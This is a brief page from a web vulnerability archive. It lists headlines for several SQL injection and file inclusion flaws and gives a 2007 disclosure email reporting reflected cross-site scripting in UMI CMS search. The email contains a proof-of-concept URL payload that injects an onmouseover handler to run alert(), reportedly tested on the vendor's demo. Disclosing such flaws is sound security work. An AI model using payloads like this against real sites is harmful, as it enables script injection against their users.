Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

[Aria-Security Team] social-networkin SQL Injection

NuclearBB Alpha 2 Remote File Inclusion

Husrev Forums v2.0.1:PoWerBoard Sql

Proxy Anket v3.0.1 Sql injection Vulnerable

From:	noname indexed <Indexed33_(at)_yandex.ru>
Date:	11.09.2007
Subject:	XSS UMI CMS

UMI CMS xss
url:umi-cms.ru
/search/search_do/?search_string=%22%20onmouseover=%22javacript:
alert();
Проверено на онлайн-демо